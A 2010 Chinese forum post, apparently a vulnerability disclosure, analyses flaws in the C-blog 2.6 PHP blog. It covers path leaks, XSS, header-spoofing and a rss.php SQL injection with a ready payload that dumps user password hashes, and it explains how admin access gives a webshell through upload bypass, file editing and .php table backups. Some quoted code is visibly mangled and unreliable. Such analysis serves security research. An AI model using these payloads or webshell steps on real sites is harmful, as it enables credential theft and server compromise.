韩小末 发表于 2010-2-4 16:24:51

彻底击溃c-blog

Cblog是一款用户很多的phpblog系统,最新版本是2.6,前断时间看了下代码,发现了几个漏洞,通知官方了,但是一直没有修补。现在公布出来,希望能引起大家的注意,早点修补。
一、modules文件夹下部分文件存在泄露绝对路径的漏洞
在php的错误显示开启的情况下直接访问如下文件会暴露绝对路径,
modules/calendar_mod.php
modules/article_mod.php
modules/list.php
modules/sider.php
在官方站测试截图:


我们以list.php为例子来分析下:看代码
codz
<?
$article=new article();
$article->pageSize=$_DCACHE[''''config''''][''''indexNum_normal''''];//设置每页显示多少个日志
if((!isset($isclass)&&!isset($_GET[''''id''''])&&!isset($_GET[''''do''''])))
{
    ……
显然没有定义article类
在开头写上if(!defined(article)) {echo "Error!";die();}就可以避免了
这个漏洞单独的来看危害不大,但是我们要是结合下面的注入漏洞呢?在有文件权限的时候就完全可以读取文件了。
二、多处跨站
申请链接
在logo地址处都没有做过滤,可以写跨站代码,如图

留言
看留言的代码
Codz:
if($guestbook->addGuestbook($_POST)){
                updatecache("statics");
                require_once(MODEL_PATH.''''Ubb.Class.php'''');
                $ubb = new Ubb(); //将留言内容进行uub转换
                $_POST[''''content'''']=conHTML($_POST[''''content'''']);// 对留言内容的过滤
$_POST[''''content'''']=qqface($_POST[''''content'''']);//对留言内容的过滤
               ……//省掉一些垃圾代码
            } else {
                ajax_err("留言失败,请返回!");

显然留言的内容是用conHTML和qqface过滤的,我们翻出这两个函数看看
Codz:
function conHtml($str) {
    $str = str_replace("<","<",$str);
    $str = str_replace(">",">",$str);//只过滤了<和>
    Return $str;
}
function qqface($str,$path="") {
    global $_DCACHE;
    $path = empty($path) ? "/include/ubbEditor/images/smiles/" : $path;
    foreach($_DCACHE[''''smiles''''][''''id''''] as $key=>$val) {
      $str = str_replace($_DCACHE[''''smiles''''][''''sm_code''''][$key],"<img src=\"".$_DCACHE[''''config''''][''''blogurl''''].$path.$_DCACHE[''''smiles''''][''''sm_image''''][$key]."\" alt=\"".$_DCACHE[''''smiles''''][''''sm_alt''''][$key]."\" />",$str);
    }
    Return $str;
}
呵呵,只过滤了<和>,我们自己不能自己引入html标记,但是可以用他提供的插图的功能:
在官方站测试如图:


三、注入漏洞
1、getip()
伪造ip来注入和写文件的问题从牛牛们提出后,n多php程序都被这个给击倒了,cblog也存在同样的问题。看function.php文件
Codz:
// 获取客户端IP
function getip() {
    if (isset($_SERVER)) {
      if (isset($_SERVER)) {
            $realip = $_SERVER;
      } elseif (isset($_SERVER)) {
            $realip = $_SERVER;
      } else {
            $realip = $_SERVER;
      }
    } else {
      if (getenv("HTTP_X_FORWARDED_FOR")) {
            $realip = getenv( "HTTP_X_FORWARDED_FOR");
      } elseif (getenv("HTTP_CLIENT_IP")) {
            $realip = getenv("HTTP_CLIENT_IP");
      } else {
            $realip = getenv("REMOTE_ADDR");
      }
    }
    return $realip;
}
显然是没有防备ip伪造的,大家可以跟踪下$realip,看有没有注入或者写shell的问题,偶就不细分析了,留该读者自己去动手吧
2、rss.php
进入web2.0时代了,大家为了追赶时代潮流,弄点新鲜的东西无可厚非的哈,但是你也要弄安全点啊。(另外废话一句,不止cblog的rss.php存在弱智型注入漏洞啊,呵呵)
先看他是如何获取文章内容的
Codz:
$article=new article();
    $smarty->assign(''''rsslist'''',$article->getNewBlog($_GET[''''catid'''']));
用了getNewblog函数,我们追踪过去
Codz:
function getNewBlog($catid='''''''')
    {
      global $conn,$sqlnum,$makehtml,$_DCACHE;
         $select="";
         if($catid){    //只要catid不为空就送到下面查询了!!
             $select=" and catid=".$catid;
         }
          $res = $conn->SelectLimit("select * from {$this->tblName} where ispublic=1".$select." and dateline<".(NOW_TIME+OFFSET_TIME)." order by dateline desc",$_DCACHE[''''config''''][''''lastblog''''],0);
      return $this->setData($res);
    }
傻眼了吧,我们来构造语句暴出所有用户的密码(md5加过密的)提交:
catid=1%20and%201=2%20union%20select%2023,username,password,20,19,18,17,16,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1%20from%20ctb_user/*
就可以暴出所有用户和密码了。下面是在官方测试的截图:

结合上面的泄露绝对路径的问题,在可以load_file的时候,危害被进一步放大了。
四、后台权限的放任导致得到webshell
如果通过上面的注入漏洞得到的密文你破解了,那么恭喜你了,在后台得到shell实在是太简单了,可能是作者对自己太有信心了,导致后台的权利大的几乎是放任我们做任何事情。
1、上传过滤的极端脆弱性
在后台上传文件的地方,只要在php文件名后面加个空格就可以顺利上传php文件名,名字重新命名为 年月日-原来的文件名 这样形式放在uploadfile下。
2、修改任意文件
利用后台 外挂功能——文件管理/编辑功能,可以向任何一个文件中写后门
3、备份数据
可以备份任何一个表到bak目录下,默认的备份文件后缀是php,我们可以通过写个人资料,然后备份相关的数据表,也可以得到一个shell。

Cblog的漏洞就分析到这里了,忙着复习考试,文章写的没有逻辑,有疑问的可以到非安全论坛或者脚本学习小组和我交流。在文章最后,感谢侯莎同学一直以来对我的帮助。

我叫小欢 发表于 2010-2-26 07:07:56

寂寞在炒作 发表于 2010-5-10 05:03:30

很强大啊!支持

kenter 发表于 2012-3-29 16:47:20

这个我还看不懂!
太深入了不懂。

龙龙龙哥 发表于 2013-9-7 18:42:51

老思路,但是很棒,
页: [1]
查看完整版本: 彻底击溃c-blog